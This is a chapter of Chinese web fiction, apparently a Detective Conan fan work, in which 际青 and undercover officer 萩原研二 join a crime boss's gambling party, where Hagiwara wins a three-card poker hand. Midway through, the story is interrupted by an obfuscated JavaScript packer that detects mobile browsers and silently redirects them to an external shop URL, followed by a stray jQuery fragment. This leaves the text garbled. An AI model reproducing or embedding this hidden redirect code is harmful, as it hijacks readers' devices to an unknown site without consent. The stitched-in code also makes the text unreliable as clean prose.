掌握信息差后,际青偏头再去看这位警察。
服务员工装的穿着看似得体,细看却并不怎么合身。
布料微微绷着,紧贴在身上,隐隐透出结实的肌肉线条——在这个有某种娱乐性质的俱乐部里,似乎有点故意的、欲盖弥彰的味道。
但际青闻到了一股酒香,混着没散干净的灶火烟气。
萩原研二缓慢凑近,学着旁边的年轻人低头,半长的头发垂落到际青的脖颈,挡住了半张侧脸。
际青静静地坐着,嘴角还噙着一丝假扮的笑意。
他看不清萩原研二的神情,只是脖颈间的触感越来越明显。
有个用气音发出的声音在他耳边道:“小心。”
与此同时,不远处突然响起一阵恐怖的喧哗。
整个包厢很大,堪称俱乐部最豪华的招待所之一,几乎可以当个大平层用,还配有几间休息室。
而现在,就像个混乱的地下酒吧。
际青他们坐在正中央,这里比周围高出几个台阶,视野极佳。
喧哗源于右下方的一角,际青所在的位置,足够将下方看得一清二楚。
又是一大帮年轻人围在那里。
五颜六色的着装挤一团,像张牙舞爪的彩虹条。
际青被自己逗得笑了一下。
堀田苍生身边男女环绕,端着杯酒悠然自得:“怎么了?”
有个男生笑嘻嘻:“有人想赖账。”
人群中的对话逐渐清晰。
“不、不可能!你们绝对是在作弊!作弊!!你们这群骗子!“”
“瞎喊什么!”人们倒喝彩,“别以为这样就可以耍赖!”
“给钱!给钱!”
“你以为你跑得掉?”
“不……我没有那么多……”
“拿车子抵呗,你有车子的吧?我看到你开车来了!”
堀田苍生兴致勃勃地看热闹,等人被拖出去才收回目光。
旁边年轻人们嘻嘻哈哈:“没钱打什么牌。”
际青:“输了多少?”
一直看戏的人回:“一千万。”
际青又笑了一下。
堀田苍生:“感兴趣?”
际青拿了杯酒,随口道:“他会被带去哪儿?”
“欠了债,当然是去还钱。”
“还不上呢?”说这话的是萩原研二。
堀田苍生哈哈一笑:“他肯定还的上。”
底下的人们重新凑了局,堀田苍生来了兴致,问:“爱丽丝,你想不想来一把?”
“总监想陪我玩?”际青笑道。
堀田苍生故作幽默:“舍命陪美人,我是当然乐意了。”
“他欠了钱吗?”际青问。
堀田苍生不以为意:“那又怎么样?”
际青想了一下:“不想跟欠钱的人玩,手脚不干净。”
“怎么会呢?”堀田苍生对着身边的男孩亲了一口,笑嘻嘻道,“他之前可是输了我一个亿,你知道一个亿对他来说意味着什么吗?”
“嗯?”际青做出很有兴趣的样子。
“意味着他的车子,他的房子,也许还有他孩子的学费和未来,”堀田苍生道,“一个人的一生不就这么点东西吗?”
际青洗耳恭听:“好像是。”
堀田苍生:“我拥有了他的一个亿,我就拥有了他的人生。他让他干什么,他就得干什么,他敢在我面前做什么小动作?”
“嗯……”际青道,“如果你让他做呢。”
“如果是这样的话,”堀田苍生往后一躺,“那就看他们有没有那个本事看出来了。”
“啊,”克丽丝小姐坐得坦然,“那我可输不起。”
“小赌怡情,他们要是拎得清,怎么至于丢了房子?”堀田苍生得意道,也不强求,“那么,克丽丝小姐身边那个陪酒的,我看你看了这么久,不如去玩一把?”
萩原研二愣了一下:“……先生?”
他像有点蠢蠢欲动,又局促道:“先生,我没带钱。”
堀田苍生沉了脸:“我说过了,小赌怡情,你不会连一万块都拿不出来吧?”
萩原研二迟疑:“……好、好吧,那我就玩两把。”
际青不想再和堀田苍生假惺惺地乱聊,提了点精神去看萩原研二。
萩原研二注意到,悄悄地对他眨眼,笑了一下。
周围人很快将赌桌平移到正中央,萩原研二在输家原来的位置落座。
对手一头黄毛,叼着根没点燃的烟,大咧咧坐在他的对面。
围观的女生多了起来,顺带来了一群闻讯赶来的男生。
包厢里的赌桌不止一个,赌局也各不相同。
一看堀田苍生这人就很喜欢看赌局的热闹。
女生们兴奋地开始给萩原研二捧场,身边的一众男生目光阴沉。
萩原研二礼貌颔首:“可以讲讲规则吗?”
黄毛叫嚣:“没玩过?”
萩原研二诚实道:“没有。”
周围一阵唏嘘,一群人幸灾乐祸地倒喝彩。
玩法是经典的炸金花,规则很简单。
每人三张牌,去掉大小王,亮牌后按豹子,顺金,金花,顺子,对子,散牌的顺序比大小。
对面的黄毛上一局赚得盆满钵满,筹码叠了一堆,连带整个人不可一世。
荷官身材瘦弱,看起来畏畏缩缩,“换多少?”
萩原研二一摸,掏出身上仅有的一万块钱。
换来十枚一千元筹码。
黄毛切了一声,觉得跟这人玩拉低了档次。
但老板就在前头看着,又没法说什么。
前两局两人一来一回,都是散牌,萩原研二两次弃牌,输了对方两千底注。
黄毛呸了一声:“耍老子玩呢。”
“当然不是,”萩原研二笑着摆手,“只是还没有熟悉规则,总得让我先试两把嘛。”
黄毛继续呸:“最好把你那两钢镚儿都试光!”
第三局开始,黄毛拿了手对子。
这局大概率赢了。
按经验来说,只要跟注到对方的筹码上限,大概率可以直接让萩原研二下场。
萩原研二眨眨眼,选择了闷牌,下注一千。
黄毛挑衅地笑出声,观众一看表情,觉得这把稳了,纷纷开始押注。
堀田苍生又开了瓶朗姆:“克丽丝小姐,反正是个没多少钱的小乐子,不如押注玩玩?”
际青支着脑袋:“总监今天格外有兴致呢。”
“当然,当然,今天有人兜底,终于没了后顾之忧,我当然高兴了,”堀田苍生喝了几瓶酒,声音都飘了。
际青轻飘飘道:“您在说什么呢总监。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674903|207443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
堀田苍生打了个嗝,“只要我……和那个组织达成合作,就不会再有人、敢动我的地盘了!”
他越想越高兴,随手在黄毛身上押注了五十万。
际青拿出一万押了萩原研二。
堀田苍生眯眼:“克丽丝不信我?”
际青笑道:“图一乐嘛,这样不管谁赢,我和总监之间都有人能高兴。”
萩原研二听这对话,心中一动,抬头朝际青笑了笑。
堀田苍生只当是因际青给他押注心理感激,没有在意。
黄毛上把赢了不少,大多观众都押他赢,赔率相比萩原研二低不少。
黄毛嘚瑟,玩一样加注两千。
萩原研二跟注。
黄毛再加注三千。
萩原研二跟注。
黄毛狐疑地看他一眼,加注五千。皮笑肉不笑道:“你要再跟,这把输了可就下场了。”
萩原研二看他一眼,跟注。示意他看桌面:“要不再算算呢,小朋友?”
萩原研二还剩两千筹码。
黄毛近视,装逼算个数还失败,彻底红了脸:“行!迟早的事!”
他加注五千。
萩原研二仅剩两千,选择全下。
开牌。
两人都是对子,萩原研二数字更大,赢了8000,手中总额变成16000。
黄毛炸毛了:“你没唬我吧?”
“怎么会,”萩原研二道,“不过一万块钱,本来我就没想赢,不过是运气好罢了。”
这确实有理,没人说得准。
周围乱成一团,押注赔了的人骂骂咧咧,黄毛叫道:“别吵,别吵,我要认真了!”
官看着懦弱,洗牌手法却相当利落,花式动作玩得很顺。
萩原研二欣赏了好几局,赞叹道:“这手法真厉害。”
堀田苍生浑不在意:“恭喜。”
赌场都是他的,钱从他的口袋出来,转一圈最后还是要转回他口袋。
际青举杯:“总监今日有好事发生,是我要恭喜你才对。”
堀田苍生哈哈笑道:“那是、那是!”
际青好奇道:“是关于赌场的事?”
“克丽丝不如猜猜?”
这人怎么总喜欢使唤人,有点烦。
际青说:“我记得,现在这个俱乐部是总监今年重建的,原先的那栋楼因经营不利倒闭了。”
堀田苍生整张脸红了一大片:“倒闭?你知道它一年能给我带来多少利润吗,它怎么可能倒闭?”
“明明是被那群条子找上门了!”堀田苍生狰狞道,“那群条子趁我们不注意……我的人里还出现了叛徒!”
身边的男女连忙安慰,堀田苍生渐渐平静下来。
际青笑道:“总监不是掌握了他们的命,他们的命也能背叛您吗?”
“不过是被小人暗算,”堀田苍生哼了一声,“人活在社会上,总要分个高低,这区分阶层的,无非钱和权,我掌握了他们,就要对此付出相应的责任,我认了。”
冠冕堂皇。际青道:“言之有理。那么你越狱了?”
“我需要越什么狱?”堀田苍瞪他一眼。
“你找人顶替了?”
“我需要找?”
“他出来了?”
“他的命还在我手上。”
“是他?”际青手指荷官。